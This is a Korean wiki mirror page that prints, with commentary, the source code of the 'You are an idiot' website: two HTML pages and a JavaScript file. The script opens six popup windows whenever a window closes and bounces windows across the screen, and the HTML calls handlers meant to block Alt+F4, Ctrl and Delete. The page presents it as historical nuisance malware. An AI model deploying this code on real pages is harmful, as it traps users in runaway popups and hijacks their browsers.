나무모에 미러 (일반/밝은 화면)
최근 수정 시각 : 2025-04-09 03:12:18

You are an idiot/index.html

파일:상위 문서 아이콘.svg   상위 문서:
#!if top1 != null && 문서명1 == null
[[|]]
#!if top1 == null && 문서명1 != null
[[You are an idiot|You are an idiot]]

1. 개요2. index.html3. open.html4. you.js

1. 개요

You are an idiot 페이지의 소스 일람.

2. index.html

해당 홈페이지를 열면 나오는 페이지.
때에 따른 코드는 여기를 참고

2004년 9월 24일 기준

#!syntax html
<html>
<head>

<title>You are an Idiot! (dot org)</title>
<script language="Javascript" src="http://www.youareanidiot.org/script/you.js"></script> <!-- 웹사이트에서 팝업이 돌아다니게 만들어 준 문제의 스크립트이다. -->

</head>

<body bgColor=#ffffff  onKeyDown="altf4key();ctrlkey();delkey();" onUnLoad="procreate()" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <!-- 알트+F4, 컨트롤, 딜리트키를 사용하지 못하게 막는다. 하지만 함수 형태로 보이며 you.js에는 없는 듯하다. procreate 부분은 팝업을 띄우는 역할을 한다. -->
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=5,0,0,0" width="100%" height="100%">
  <param name=movie value="youare.swf"> <!--  이 웹사이트의 플래시를 표시 시킨다. -->
  <param name=quality value=high>
  <embed src="youare.swf" quality=high pluginspage="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash" type="application/x-shockwave-flash" width="100%" height="100%">
  </embed> 
</object> 

</body>
</html>

3. open.html

해당 페이지는 you.js에서 openWindow 함수가 작동했을 때 보여지는 페이지이며, 2016년 4월 19일 기준 페이지 소스이므로 현재 you.js 호출 코드는 없다.
#!syntax html
<html>
<head>
<title>You are an idiot!</title>
</head>
<body bgColor=#ffffff leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=5,0,0,0" width="100%" height="100%">
  <param name=movie value="youare.swf">
  <param name=quality value=high>
  <embed src="youare.swf" quality=high pluginspage="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash" type="application/x-shockwave-flash" width="100%" height="100%">
  </embed> 
</object> 
</body>
</html>

4. you.js

만악의 근원
한때 창이 6개 띄워지거나 창이 요리조리 움직이거나 키가 안 먹는 원인이었던 자바스크립트 코드로 index.html의 소스에서 호출되어졌던 코드였다. 지금은 index.html에서 script 태그가 없어져서 작동하지 않는다. 또한 아래 코드를 js파일로 저장하면 악성코드로 인지하고 바로 파일을 삭제시켜 버리거나 격리소로 보내버리는 백신이 존재한다.
#!syntax javascript
var xOff = 5;
var yOff = 5;
var xPos = 400;
var yPos = -100;
var flagRun = 1;

function openWindow(url){
        aWindow = window.open(url,"_blank", 'menubar=no,status=no,toolbar=noresizable=no,width=180,height=175,titlebar=no,alwaysRaised=yes');
}

function procreate(){
		openWindow('open.html'); // openWindow 함수를 호출하여 작은 창을 띄운다. '''6번'''
		openWindow('open.html');
		openWindow('open.html');
		openWindow('open.html');
		openWindow('open.html');
		openWindow('open.html');
		}

function newXlt(){
        xOff = Math.ceil( 0 - 6 * Math.random()) * 5 - 10 ;
        window.focus()} // 현재 윈도우에 포커스를 얻는다. 새 창을 띄우면 그 창에 포커스가 맞춰지는 것과 같은 함수

function newXrt(){
        xOff = Math.ceil(7 * Math.random())  * 5 - 10 ;
        }

function newYup(){
        yOff = Math.ceil( 0 - 6 * Math.random())  * 5 - 10 ;
        }

function newYdn(){
        yOff = Math.ceil( 7 * Math.random())  * 5 - 10  ;
        }
function fOff(){
        flagrun = 0;
        }

function playBall(){
        xPos += xOff;
        yPos += yOff;
        if (xPos > screen.width-175){
        newXlt();
        }
        if (xPos < 0){
        newXrt();
        }
        if (yPos > screen.height-100){
        newYup();
        }
        if (yPos < 0){
        newYdn();
        }
        if (flagRun == 1){
        window.moveTo(xPos,yPos);
        setTimeout('playBall()',1);
        }
        }


이 코드로 구동되는 웹 사이트에 대한 항목은 You are an idiot 참고.